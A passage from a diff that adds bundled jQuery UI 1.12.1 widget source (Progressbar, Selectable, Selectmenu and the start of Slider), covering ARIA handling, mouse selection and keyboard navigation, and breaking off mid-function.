+		this.oldValue = this.options.value = this._constrainedValue();
+
+		this.element.attr( {
+
+			// Only set static values; aria-valuenow and aria-valuemax are
+			// set inside _refreshValue()
+			role: "progressbar",
+			"aria-valuemin": this.min
+		} );
+		this._addClass( "ui-progressbar", "ui-widget ui-widget-content" );
+
+		this.valueDiv = $( "<div>" ).appendTo( this.element );
+		this._addClass( this.valueDiv, "ui-progressbar-value", "ui-widget-header" );
+		this._refreshValue();
+	},
+
+	_destroy: function() {
+		this.element.removeAttr( "role aria-valuemin aria-valuemax aria-valuenow" );
+
+		this.valueDiv.remove();
+	},
+
+	value: function( newValue ) {
+		if ( newValue === undefined ) {
+			return this.options.value;
+		}
+
+		this.options.value = this._constrainedValue( newValue );
+		this._refreshValue();
+	},
+
+	_constrainedValue: function( newValue ) {
+		if ( newValue === undefined ) {
+			newValue = this.options.value;
+		}
+
+		this.indeterminate = newValue === false;
+
+		// Sanitize value
+		if ( typeof newValue !== "number" ) {
+			newValue = 0;
+		}
+
+		return this.indeterminate ? false :
+			Math.min( this.options.max, Math.max( this.min, newValue ) );
+	},
+
+	_setOptions: function( options ) {
+
+		// Ensure "value" option is set after other values (like max)
+		var value = options.value;
+		delete options.value;
+
+		this._super( options );
+
+		this.options.value = this._constrainedValue( value );
+		this._refreshValue();
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "max" ) {
+
+			// Don't allow a max less than min
+			value = Math.max( this.min, value );
+		}
+		this._super( key, value );
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._super( value );
+
+		this.element.attr( "aria-disabled", value );
+		this._toggleClass( null, "ui-state-disabled", !!value );
+	},
+
+	_percentage: function() {
+		return this.indeterminate ?
+			100 :
+			100 * ( this.options.value - this.min ) / ( this.options.max - this.min );
+	},
+
+	_refreshValue: function() {
+		var value = this.options.value,
+			percentage = this._percentage();
+
+		this.valueDiv
+			.toggle( this.indeterminate || value > this.min )
+			.width( percentage.toFixed( 0 ) + "%" );
+
+		this
+			._toggleClass( this.valueDiv, "ui-progressbar-complete", null,
+				value === this.options.max )
+			._toggleClass( "ui-progressbar-indeterminate", null, this.indeterminate );
+
+		if ( this.indeterminate ) {
+			this.element.removeAttr( "aria-valuenow" );
+			if ( !this.overlayDiv ) {
+				this.overlayDiv = $( "<div>" ).appendTo( this.valueDiv );
+				this._addClass( this.overlayDiv, "ui-progressbar-overlay" );
+			}
+		} else {
+			this.element.attr( {
+				"aria-valuemax": this.options.max,
+				"aria-valuenow": value
+			} );
+			if ( this.overlayDiv ) {
+				this.overlayDiv.remove();
+				this.overlayDiv = null;
+			}
+		}
+
+		if ( this.oldValue !== value ) {
+			this.oldValue = value;
+			this._trigger( "change" );
+		}
+		if ( value === this.options.max ) {
+			this._trigger( "complete" );
+		}
+	}
+} );
+
+
+/*!
+ * jQuery UI Selectable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Selectable
+//>>group: Interactions
+//>>description: Allows groups of elements to be selected with the mouse.
+//>>docs: http://api.jqueryui.com/selectable/
+//>>demos: http://jqueryui.com/selectable/
+//>>css.structure: ../../themes/base/selectable.css
+
+
+
+var widgetsSelectable = $.widget( "ui.selectable", $.ui.mouse, {
+	version: "1.12.1",
+	options: {
+		appendTo: "body",
+		autoRefresh: true,
+		distance: 0,
+		filter: "*",
+		tolerance: "touch",
+
+		// Callbacks
+		selected: null,
+		selecting: null,
+		start: null,
+		stop: null,
+		unselected: null,
+		unselecting: null
+	},
+	_create: function() {
+		var that = this;
+
+		this._addClass( "ui-selectable" );
+
+		this.dragged = false;
+
+		// Cache selectee children based on filter
+		this.refresh = function() {
+			that.elementPos = $( that.element[ 0 ] ).offset();
+			that.selectees = $( that.options.filter, that.element[ 0 ] );
+			that._addClass( that.selectees, "ui-selectee" );
+			that.selectees.each( function() {
+				var $this = $( this ),
+					selecteeOffset = $this.offset(),
+					pos = {
+						left: selecteeOffset.left - that.elementPos.left,
+						top: selecteeOffset.top - that.elementPos.top
+					};
+				$.data( this, "selectable-item", {
+					element: this,
+					$element: $this,
+					left: pos.left,
+					top: pos.top,
+					right: pos.left + $this.outerWidth(),
+					bottom: pos.top + $this.outerHeight(),
+					startselected: false,
+					selected: $this.hasClass( "ui-selected" ),
+					selecting: $this.hasClass( "ui-selecting" ),
+					unselecting: $this.hasClass( "ui-unselecting" )
+				} );
+			} );
+		};
+		this.refresh();
+
+		this._mouseInit();
+
+		this.helper = $( "<div>" );
+		this._addClass( this.helper, "ui-selectable-helper" );
+	},
+
+	_destroy: function() {
+		this.selectees.removeData( "selectable-item" );
+		this._mouseDestroy();
+	},
+
+	_mouseStart: function( event ) {
+		var that = this,
+			options = this.options;
+
+		this.opos = [ event.pageX, event.pageY ];
+		this.elementPos = $( this.element[ 0 ] ).offset();
+
+		if ( this.options.disabled ) {
+			return;
+		}
+
+		this.selectees = $( options.filter, this.element[ 0 ] );
+
+		this._trigger( "start", event );
+
+		$( options.appendTo ).append( this.helper );
+
+		// position helper (lasso)
+		this.helper.css( {
+			"left": event.pageX,
+			"top": event.pageY,
+			"width": 0,
+			"height": 0
+		} );
+
+		if ( options.autoRefresh ) {
+			this.refresh();
+		}
+
+		this.selectees.filter( ".ui-selected" ).each( function() {
+			var selectee = $.data( this, "selectable-item" );
+			selectee.startselected = true;
+			if ( !event.metaKey && !event.ctrlKey ) {
+				that._removeClass( selectee.$element, "ui-selected" );
+				selectee.selected = false;
+				that._addClass( selectee.$element, "ui-unselecting" );
+				selectee.unselecting = true;
+
+				// selectable UNSELECTING callback
+				that._trigger( "unselecting", event, {
+					unselecting: selectee.element
+				} );
+			}
+		} );
+
+		$( event.target ).parents().addBack().each( function() {
+			var doSelect,
+				selectee = $.data( this, "selectable-item" );
+			if ( selectee ) {
+				doSelect = ( !event.metaKey && !event.ctrlKey ) ||
+					!selectee.$element.hasClass( "ui-selected" );
+				that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" )
+					._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" );
+				selectee.unselecting = !doSelect;
+				selectee.selecting = doSelect;
+				selectee.selected = doSelect;
+
+				// selectable (UN)SELECTING callback
+				if ( doSelect ) {
+					that._trigger( "selecting", event, {
+						selecting: selectee.element
+					} );
+				} else {
+					that._trigger( "unselecting", event, {
+						unselecting: selectee.element
+					} );
+				}
+				return false;
+			}
+		} );
+
+	},
+
+	_mouseDrag: function( event ) {
+
+		this.dragged = true;
+
+		if ( this.options.disabled ) {
+			return;
+		}
+
+		var tmp,
+			that = this,
+			options = this.options,
+			x1 = this.opos[ 0 ],
+			y1 = this.opos[ 1 ],
+			x2 = event.pageX,
+			y2 = event.pageY;
+
+		if ( x1 > x2 ) { tmp = x2; x2 = x1; x1 = tmp; }
+		if ( y1 > y2 ) { tmp = y2; y2 = y1; y1 = tmp; }
+		this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } );
+
+		this.selectees.each( function() {
+			var selectee = $.data( this, "selectable-item" ),
+				hit = false,
+				offset = {};
+
+			//prevent helper from being selected if appendTo: selectable
+			if ( !selectee || selectee.element === that.element[ 0 ] ) {
+				return;
+			}
+
+			offset.left   = selectee.left   + that.elementPos.left;
+			offset.right  = selectee.right  + that.elementPos.left;
+			offset.top    = selectee.top    + that.elementPos.top;
+			offset.bottom = selectee.bottom + that.elementPos.top;
+
+			if ( options.tolerance === "touch" ) {
+				hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 ||
+                    offset.bottom < y1 ) );
+			} else if ( options.tolerance === "fit" ) {
+				hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 &&
+                    offset.bottom < y2 );
+			}
+
+			if ( hit ) {
+
+				// SELECT
+				if ( selectee.selected ) {
+					that._removeClass( selectee.$element, "ui-selected" );
+					selectee.selected = false;
+				}
+				if ( selectee.unselecting ) {
+					that._removeClass( selectee.$element, "ui-unselecting" );
+					selectee.unselecting = false;
+				}
+				if ( !selectee.selecting ) {
+					that._addClass( selectee.$element, "ui-selecting" );
+					selectee.selecting = true;
+
+					// selectable SELECTING callback
+					that._trigger( "selecting", event, {
+						selecting: selectee.element
+					} );
+				}
+			} else {
+
+				// UNSELECT
+				if ( selectee.selecting ) {
+					if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) {
+						that._removeClass( selectee.$element, "ui-selecting" );
+						selectee.selecting = false;
+						that._addClass( selectee.$element, "ui-selected" );
+						selectee.selected = true;
+					} else {
+						that._removeClass( selectee.$element, "ui-selecting" );
+						selectee.selecting = false;
+						if ( selectee.startselected ) {
+							that._addClass( selectee.$element, "ui-unselecting" );
+							selectee.unselecting = true;
+						}
+
+						// selectable UNSELECTING callback
+						that._trigger( "unselecting", event, {
+							unselecting: selectee.element
+						} );
+					}
+				}
+				if ( selectee.selected ) {
+					if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) {
+						that._removeClass( selectee.$element, "ui-selected" );
+						selectee.selected = false;
+
+						that._addClass( selectee.$element, "ui-unselecting" );
+						selectee.unselecting = true;
+
+						// selectable UNSELECTING callback
+						that._trigger( "unselecting", event, {
+							unselecting: selectee.element
+						} );
+					}
+				}
+			}
+		} );
+
+		return false;
+	},
+
+	_mouseStop: function( event ) {
+		var that = this;
+
+		this.dragged = false;
+
+		$( ".ui-unselecting", this.element[ 0 ] ).each( function() {
+			var selectee = $.data( this, "selectable-item" );
+			that._removeClass( selectee.$element, "ui-unselecting" );
+			selectee.unselecting = false;
+			selectee.startselected = false;
+			that._trigger( "unselected", event, {
+				unselected: selectee.element
+			} );
+		} );
+		$( ".ui-selecting", this.element[ 0 ] ).each( function() {
+			var selectee = $.data( this, "selectable-item" );
+			that._removeClass( selectee.$element, "ui-selecting" )
+				._addClass( selectee.$element, "ui-selected" );
+			selectee.selecting = false;
+			selectee.selected = true;
+			selectee.startselected = true;
+			that._trigger( "selected", event, {
+				selected: selectee.element
+			} );
+		} );
+		this._trigger( "stop", event );
+
+		this.helper.remove();
+
+		return false;
+	}
+
+} );
+
+
+/*!
+ * jQuery UI Selectmenu 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Selectmenu
+//>>group: Widgets
+// jscs:disable maximumLineLength
+//>>description: Duplicates and extends the functionality of a native HTML select element, allowing it to be customizable in behavior and appearance far beyond the limitations of a native select.
+// jscs:enable maximumLineLength
+//>>docs: http://api.jqueryui.com/selectmenu/
+//>>demos: http://jqueryui.com/selectmenu/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/selectmenu.css, ../../themes/base/button.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+var widgetsSelectmenu = $.widget( "ui.selectmenu", [ $.ui.formResetMixin, {
+	version: "1.12.1",
+	defaultElement: "<select>",
+	options: {
+		appendTo: null,
+		classes: {
+			"ui-selectmenu-button-open": "ui-corner-top",
+			"ui-selectmenu-button-closed": "ui-corner-all"
+		},
+		disabled: null,
+		icons: {
+			button: "ui-icon-triangle-1-s"
+		},
+		position: {
+			my: "left top",
+			at: "left bottom",
+			collision: "none"
+		},
+		width: false,
+
+		// Callbacks
+		change: null,
+		close: null,
+		focus: null,
+		open: null,
+		select: null
+	},
+
+	_create: function() {
+		var selectmenuId = this.element.uniqueId().attr( "id" );
+		this.ids = {
+			element: selectmenuId,
+			button: selectmenuId + "-button",
+			menu: selectmenuId + "-menu"
+		};
+
+		this._drawButton();
+		this._drawMenu();
+		this._bindFormResetHandler();
+
+		this._rendered = false;
+		this.menuItems = $();
+	},
+
+	_drawButton: function() {
+		var icon,
+			that = this,
+			item = this._parseOption(
+				this.element.find( "option:selected" ),
+				this.element[ 0 ].selectedIndex
+			);
+
+		// Associate existing label with the new button
+		this.labels = this.element.labels().attr( "for", this.ids.button );
+		this._on( this.labels, {
+			click: function( event ) {
+				this.button.focus();
+				event.preventDefault();
+			}
+		} );
+
+		// Hide original select element
+		this.element.hide();
+
+		// Create button
+		this.button = $( "<span>", {
+			tabindex: this.options.disabled ? -1 : 0,
+			id: this.ids.button,
+			role: "combobox",
+			"aria-expanded": "false",
+			"aria-autocomplete": "list",
+			"aria-owns": this.ids.menu,
+			"aria-haspopup": "true",
+			title: this.element.attr( "title" )
+		} )
+			.insertAfter( this.element );
+
+		this._addClass( this.button, "ui-selectmenu-button ui-selectmenu-button-closed",
+			"ui-button ui-widget" );
+
+		icon = $( "<span>" ).appendTo( this.button );
+		this._addClass( icon, "ui-selectmenu-icon", "ui-icon " + this.options.icons.button );
+		this.buttonItem = this._renderButtonItem( item )
+			.appendTo( this.button );
+
+		if ( this.options.width !== false ) {
+			this._resizeButton();
+		}
+
+		this._on( this.button, this._buttonEvents );
+		this.button.one( "focusin", function() {
+
+			// Delay rendering the menu items until the button receives focus.
+			// The menu may have already been rendered via a programmatic open.
+			if ( !that._rendered ) {
+				that._refreshMenu();
+			}
+		} );
+	},
+
+	_drawMenu: function() {
+		var that = this;
+
+		// Create menu
+		this.menu = $( "<ul>", {
+			"aria-hidden": "true",
+			"aria-labelledby": this.ids.button,
+			id: this.ids.menu
+		} );
+
+		// Wrap menu
+		this.menuWrap = $( "<div>" ).append( this.menu );
+		this._addClass( this.menuWrap, "ui-selectmenu-menu", "ui-front" );
+		this.menuWrap.appendTo( this._appendTo() );
+
+		// Initialize menu widget
+		this.menuInstance = this.menu
+			.menu( {
+				classes: {
+					"ui-menu": "ui-corner-bottom"
+				},
+				role: "listbox",
+				select: function( event, ui ) {
+					event.preventDefault();
+
+					// Support: IE8
+					// If the item was selected via a click, the text selection
+					// will be destroyed in IE
+					that._setSelection();
+
+					that._select( ui.item.data( "ui-selectmenu-item" ), event );
+				},
+				focus: function( event, ui ) {
+					var item = ui.item.data( "ui-selectmenu-item" );
+
+					// Prevent inital focus from firing and check if its a newly focused item
+					if ( that.focusIndex != null && item.index !== that.focusIndex ) {
+						that._trigger( "focus", event, { item: item } );
+						if ( !that.isOpen ) {
+							that._select( item, event );
+						}
+					}
+					that.focusIndex = item.index;
+
+					that.button.attr( "aria-activedescendant",
+						that.menuItems.eq( item.index ).attr( "id" ) );
+				}
+			} )
+			.menu( "instance" );
+
+		// Don't close the menu on mouseleave
+		this.menuInstance._off( this.menu, "mouseleave" );
+
+		// Cancel the menu's collapseAll on document click
+		this.menuInstance._closeOnDocumentClick = function() {
+			return false;
+		};
+
+		// Selects often contain empty items, but never contain dividers
+		this.menuInstance._isDivider = function() {
+			return false;
+		};
+	},
+
+	refresh: function() {
+		this._refreshMenu();
+		this.buttonItem.replaceWith(
+			this.buttonItem = this._renderButtonItem(
+
+				// Fall back to an empty object in case there are no options
+				this._getSelectedItem().data( "ui-selectmenu-item" ) || {}
+			)
+		);
+		if ( this.options.width === null ) {
+			this._resizeButton();
+		}
+	},
+
+	_refreshMenu: function() {
+		var item,
+			options = this.element.find( "option" );
+
+		this.menu.empty();
+
+		this._parseOptions( options );
+		this._renderMenu( this.menu, this.items );
+
+		this.menuInstance.refresh();
+		this.menuItems = this.menu.find( "li" )
+			.not( ".ui-selectmenu-optgroup" )
+				.find( ".ui-menu-item-wrapper" );
+
+		this._rendered = true;
+
+		if ( !options.length ) {
+			return;
+		}
+
+		item = this._getSelectedItem();
+
+		// Update the menu to have the correct item focused
+		this.menuInstance.focus( null, item );
+		this._setAria( item.data( "ui-selectmenu-item" ) );
+
+		// Set disabled state
+		this._setOption( "disabled", this.element.prop( "disabled" ) );
+	},
+
+	open: function( event ) {
+		if ( this.options.disabled ) {
+			return;
+		}
+
+		// If this is the first time the menu is being opened, render the items
+		if ( !this._rendered ) {
+			this._refreshMenu();
+		} else {
+
+			// Menu clears focus on close, reset focus to selected item
+			this._removeClass( this.menu.find( ".ui-state-active" ), null, "ui-state-active" );
+			this.menuInstance.focus( null, this._getSelectedItem() );
+		}
+
+		// If there are no options, don't open the menu
+		if ( !this.menuItems.length ) {
+			return;
+		}
+
+		this.isOpen = true;
+		this._toggleAttr();
+		this._resizeMenu();
+		this._position();
+
+		this._on( this.document, this._documentClick );
+
+		this._trigger( "open", event );
+	},
+
+	_position: function() {
+		this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) );
+	},
+
+	close: function( event ) {
+		if ( !this.isOpen ) {
+			return;
+		}
+
+		this.isOpen = false;
+		this._toggleAttr();
+
+		this.range = null;
+		this._off( this.document );
+
+		this._trigger( "close", event );
+	},
+
+	widget: function() {
+		return this.button;
+	},
+
+	menuWidget: function() {
+		return this.menu;
+	},
+
+	_renderButtonItem: function( item ) {
+		var buttonItem = $( "<span>" );
+
+		this._setText( buttonItem, item.label );
+		this._addClass( buttonItem, "ui-selectmenu-text" );
+
+		return buttonItem;
+	},
+
+	_renderMenu: function( ul, items ) {
+		var that = this,
+			currentOptgroup = "";
+
+		$.each( items, function( index, item ) {
+			var li;
+
+			if ( item.optgroup !== currentOptgroup ) {
+				li = $( "<li>", {
+					text: item.optgroup
+				} );
+				that._addClass( li, "ui-selectmenu-optgroup", "ui-menu-divider" +
+					( item.element.parent( "optgroup" ).prop( "disabled" ) ?
+						" ui-state-disabled" :
+						"" ) );
+
+				li.appendTo( ul );
+
+				currentOptgroup = item.optgroup;
+			}
+
+			that._renderItemData( ul, item );
+		} );
+	},
+
+	_renderItemData: function( ul, item ) {
+		return this._renderItem( ul, item ).data( "ui-selectmenu-item", item );
+	},
+
+	_renderItem: function( ul, item ) {
+		var li = $( "<li>" ),
+			wrapper = $( "<div>", {
+				title: item.element.attr( "title" )
+			} );
+
+		if ( item.disabled ) {
+			this._addClass( li, null, "ui-state-disabled" );
+		}
+		this._setText( wrapper, item.label );
+
+		return li.append( wrapper ).appendTo( ul );
+	},
+
+	_setText: function( element, value ) {
+		if ( value ) {
+			element.text( value );
+		} else {
+			element.html( "&#160;" );
+		}
+	},
+
+	_move: function( direction, event ) {
+		var item, next,
+			filter = ".ui-menu-item";
+
+		if ( this.isOpen ) {
+			item = this.menuItems.eq( this.focusIndex ).parent( "li" );
+		} else {
+			item = this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" );
+			filter += ":not(.ui-state-disabled)";
+		}
+
+		if ( direction === "first" || direction === "last" ) {
+			next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 );
+		} else {
+			next = item[ direction + "All" ]( filter ).eq( 0 );
+		}
+
+		if ( next.length ) {
+			this.menuInstance.focus( event, next );
+		}
+	},
+
+	_getSelectedItem: function() {
+		return this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" );
+	},
+
+	_toggle: function( event ) {
+		this[ this.isOpen ? "close" : "open" ]( event );
+	},
+
+	_setSelection: function() {
+		var selection;
+
+		if ( !this.range ) {
+			return;
+		}
+
+		if ( window.getSelection ) {
+			selection = window.getSelection();
+			selection.removeAllRanges();
+			selection.addRange( this.range );
+
+		// Support: IE8
+		} else {
+			this.range.select();
+		}
+
+		// Support: IE
+		// Setting the text selection kills the button focus in IE, but
+		// restoring the focus doesn't kill the selection.
+		this.button.focus();
+	},
+
+	_documentClick: {
+		mousedown: function( event ) {
+			if ( !this.isOpen ) {
+				return;
+			}
+
+			if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" +
+					$.ui.escapeSelector( this.ids.button ) ).length ) {
+				this.close( event );
+			}
+		}
+	},
+
+	_buttonEvents: {
+
+		// Prevent text selection from being reset when interacting with the selectmenu (#10144)
+		mousedown: function() {
+			var selection;
+
+			if ( window.getSelection ) {
+				selection = window.getSelection();
+				if ( selection.rangeCount ) {
+					this.range = selection.getRangeAt( 0 );
+				}
+
+			// Support: IE8
+			} else {
+				this.range = document.selection.createRange();
+			}
+		},
+
+		click: function( event ) {
+			this._setSelection();
+			this._toggle( event );
+		},
+
+		keydown: function( event ) {
+			var preventDefault = true;
+			switch ( event.keyCode ) {
+			case $.ui.keyCode.TAB:
+			case $.ui.keyCode.ESCAPE:
+				this.close( event );
+				preventDefault = false;
+				break;
+			case $.ui.keyCode.ENTER:
+				if ( this.isOpen ) {
+					this._selectFocusedItem( event );
+				}
+				break;
+			case $.ui.keyCode.UP:
+				if ( event.altKey ) {
+					this._toggle( event );
+				} else {
+					this._move( "prev", event );
+				}
+				break;
+			case $.ui.keyCode.DOWN:
+				if ( event.altKey ) {
+					this._toggle( event );
+				} else {
+					this._move( "next", event );
+				}
+				break;
+			case $.ui.keyCode.SPACE:
+				if ( this.isOpen ) {
+					this._selectFocusedItem( event );
+				} else {
+					this._toggle( event );
+				}
+				break;
+			case $.ui.keyCode.LEFT:
+				this._move( "prev", event );
+				break;
+			case $.ui.keyCode.RIGHT:
+				this._move( "next", event );
+				break;
+			case $.ui.keyCode.HOME:
+			case $.ui.keyCode.PAGE_UP:
+				this._move( "first", event );
+				break;
+			case $.ui.keyCode.END:
+			case $.ui.keyCode.PAGE_DOWN:
+				this._move( "last", event );
+				break;
+			default:
+				this.menu.trigger( event );
+				preventDefault = false;
+			}
+
+			if ( preventDefault ) {
+				event.preventDefault();
+			}
+		}
+	},
+
+	_selectFocusedItem: function( event ) {
+		var item = this.menuItems.eq( this.focusIndex ).parent( "li" );
+		if ( !item.hasClass( "ui-state-disabled" ) ) {
+			this._select( item.data( "ui-selectmenu-item" ), event );
+		}
+	},
+
+	_select: function( item, event ) {
+		var oldIndex = this.element[ 0 ].selectedIndex;
+
+		// Change native select element
+		this.element[ 0 ].selectedIndex = item.index;
+		this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( item ) );
+		this._setAria( item );
+		this._trigger( "select", event, { item: item } );
+
+		if ( item.index !== oldIndex ) {
+			this._trigger( "change", event, { item: item } );
+		}
+
+		this.close( event );
+	},
+
+	_setAria: function( item ) {
+		var id = this.menuItems.eq( item.index ).attr( "id" );
+
+		this.button.attr( {
+			"aria-labelledby": id,
+			"aria-activedescendant": id
+		} );
+		this.menu.attr( "aria-activedescendant", id );
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icons" ) {
+			var icon = this.button.find( "span.ui-icon" );
+			this._removeClass( icon, null, this.options.icons.button )
+				._addClass( icon, null, value.button );
+		}
+
+		this._super( key, value );
+
+		if ( key === "appendTo" ) {
+			this.menuWrap.appendTo( this._appendTo() );
+		}
+
+		if ( key === "width" ) {
+			this._resizeButton();
+		}
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._super( value );
+
+		this.menuInstance.option( "disabled", value );
+		this.button.attr( "aria-disabled", value );
+		this._toggleClass( this.button, null, "ui-state-disabled", value );
+
+		this.element.prop( "disabled", value );
+		if ( value ) {
+			this.button.attr( "tabindex", -1 );
+			this.close();
+		} else {
+			this.button.attr( "tabindex", 0 );
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+
+		if ( element ) {
+			element = element.jquery || element.nodeType ?
+				$( element ) :
+				this.document.find( element ).eq( 0 );
+		}
+
+		if ( !element || !element[ 0 ] ) {
+			element = this.element.closest( ".ui-front, dialog" );
+		}
+
+		if ( !element.length ) {
+			element = this.document[ 0 ].body;
+		}
+
+		return element;
+	},
+
+	_toggleAttr: function() {
+		this.button.attr( "aria-expanded", this.isOpen );
+
+		// We can't use two _toggleClass() calls here, because we need to make sure
+		// we always remove classes first and add them second, otherwise if both classes have the
+		// same theme class, it will be removed after we add it.
+		this._removeClass( this.button, "ui-selectmenu-button-" +
+			( this.isOpen ? "closed" : "open" ) )
+			._addClass( this.button, "ui-selectmenu-button-" +
+				( this.isOpen ? "open" : "closed" ) )
+			._toggleClass( this.menuWrap, "ui-selectmenu-open", null, this.isOpen );
+
+		this.menu.attr( "aria-hidden", !this.isOpen );
+	},
+
+	_resizeButton: function() {
+		var width = this.options.width;
+
+		// For `width: false`, just remove inline style and stop
+		if ( width === false ) {
+			this.button.css( "width", "" );
+			return;
+		}
+
+		// For `width: null`, match the width of the original element
+		if ( width === null ) {
+			width = this.element.show().outerWidth();
+			this.element.hide();
+		}
+
+		this.button.outerWidth( width );
+	},
+
+	_resizeMenu: function() {
+		this.menu.outerWidth( Math.max(
+			this.button.outerWidth(),
+
+			// Support: IE10
+			// IE10 wraps long text (possibly a rounding bug)
+			// so we add 1px to avoid the wrapping
+			this.menu.width( "" ).outerWidth() + 1
+		) );
+	},
+
+	_getCreateOptions: function() {
+		var options = this._super();
+
+		options.disabled = this.element.prop( "disabled" );
+
+		return options;
+	},
+
+	_parseOptions: function( options ) {
+		var that = this,
+			data = [];
+		options.each( function( index, item ) {
+			data.push( that._parseOption( $( item ), index ) );
+		} );
+		this.items = data;
+	},
+
+	_parseOption: function( option, index ) {
+		var optgroup = option.parent( "optgroup" );
+
+		return {
+			element: option,
+			index: index,
+			value: option.val(),
+			label: option.text(),
+			optgroup: optgroup.attr( "label" ) || "",
+			disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" )
+		};
+	},
+
+	_destroy: function() {
+		this._unbindFormResetHandler();
+		this.menuWrap.remove();
+		this.button.remove();
+		this.element.show();
+		this.element.removeUniqueId();
+		this.labels.attr( "for", this.ids.element );
+	}
+} ] );
+
+
+/*!
+ * jQuery UI Slider 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Slider
+//>>group: Widgets
+//>>description: Displays a flexible slider with ranges and accessibility via keyboard.
+//>>docs: http://api.jqueryui.com/slider/
+//>>demos: http://jqueryui.com/slider/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/slider.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+var widgetsSlider = $.widget( "ui.slider", $.ui.mouse, {
+	version: "1.12.1",
+	widgetEventPrefix: "slide",
+
+	options: {
+		animate: false,
+		classes: {
+			"ui-slider": "ui-corner-all",
+			"ui-slider-handle": "ui-corner-all",
+
+			// Note: ui-widget-header isn't the most fittingly semantic framework class for this
+			// element, but worked best visually with a variety of themes
+			"ui-slider-range": "ui-corner-all ui-widget-header"
+		},
+		distance: 0,
+		max: 100,
+		min: 0,
+		orientation: "horizontal",
+		range: false,
+		step: 1,
+		value: 0,
+		values: null,
+
+		// Callbacks
+		change: null,
+		slide: null,
+		start: null,
+		stop: null
+	},
+
+	// Number of pages in a slider
+	// (how many times can you page up/down to go through the whole range)
+	numPages: 5,
+
+	_create: function() {
+		this._keySliding = false;
+		this._mouseSliding = false;
+		this._animateOff = true;
+		this._handleIndex = null;
+		this._detectOrientation();
+		this._mouseInit();
+		this._calculateNewMax();
+
+		this._addClass( "ui-slider ui-slider-" + this.orientation,
+			"ui-widget ui-widget-content" );
+
+		this._refresh();
+
+		this._animateOff = false;
+	},
+
+	_refresh: function() {
+		this._createRange();
+		this._createHandles();
+		this._setupEvents();
+		this._refreshValue();
+	},
+
+	_createHandles: function() {
+		var i, handleCount,
+			options = this.options,
+			existingHandles = this.element.find( ".ui-slider-handle" ),
+			handle = "<span tabindex='0'></span>",
+			handles = [];
+
+		handleCount = ( options.values && options.values.length ) || 1;
+
+		if ( existingHandles.length > handleCount ) {
+			existingHandles.slice( handleCount ).remove();
+			existingHandles = existingHandles.slice( 0, handleCount );
+		}
+
+		for ( i = existingHandles.length; i < handleCount; i++ ) {
+			handles.push( handle );
+		}
+
+		this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) );
+
+		this._addClass( this.handles, "ui-slider-handle", "ui-state-default" );
+
+		this.handle = this.handles.eq( 0 );
+
+		this.handles.each( function( i ) {
+			$( this )
+				.data( "ui-slider-handle-index", i )
+				.attr( "tabIndex", 0 );
+		} );
+	},
+
+	_createRange: function() {
+		var options = this.options;
+
+		if ( options.range ) {
+			if ( options.range === true ) {
+				if ( !options.values ) {
+					options.values = [ this._valueMin(), this._valueMin() ];
+				} else if ( options.values.length && options.values.length !== 2 ) {
+					options.values = [ options.values[ 0 ], options.values[ 0 ] ];
+				} else if ( $.isArray( options.values ) ) {
+					options.values = options.values.slice( 0 );
+				}
+			}
+
+			if ( !this.range || !this.range.length ) {
+				this.range = $( "<div>" )
+					.appendTo( this.element );
+
+				this._addClass( this.range, "ui-slider-range" );
+			} else {
+				this._removeClass( this.range, "ui-slider-range-min ui-slider-range-max" );
+
+				// Handle range switching from true to min/max
+				this.range.css( {
+					"left": "",
+					"bottom": ""
+				} );
+			}
+			if ( options.range === "min" || options.range === "max" ) {
+				this._addClass( this.range, "ui-slider-range-" + options.range );
+			}
+		} else {
+			if ( this.range ) {
+				this.range.remove();
+			}
+			this.range = null;
+		}
+	},
+
+	_setupEvents: function() {
+		this._off( this.handles );
+		this._on( this.handles, this._handleEvents );
+		this._hoverable( this.handles );
+		this._focusable( this.handles );
+	},
+
+	_destroy: function() {
+		this.handles.remove();
+		if ( this.range ) {
+			this.range.remove();
+		}
+
+		this._mouseDestroy();
+	},
+
+	_mouseCapture: function( event ) {
+		var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,
+			that = this,
+			o = this.options;
+
+		if ( o.disabled ) {
+			return false;
+		}
+
+		this.elementSize = {
+			width: this.element.outerWidth(),
+			height: this.element.outerHeight()
+		};
+		this.elementOffset = this.element.offset();
+
+		position = { x: event.pageX, y: event.pageY };
+		normValue = this._normValueFromMouse( position );
+		distance = this._valueMax() - this._valueMin() + 1;
+		this.handles.each( function( i ) {
+			var thisDistance = Math.abs( normValue - that.values( i ) );
+			if ( ( distance > thisDistance ) ||
+				( distance === thisDistance &&
+					( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) {
+				distance = thisDistance;
+				closestHandle = $( this );
+				index = i;
+			}
+		} );
+
+		allowed = this._start( event, index );
+		if ( allowed === false ) {
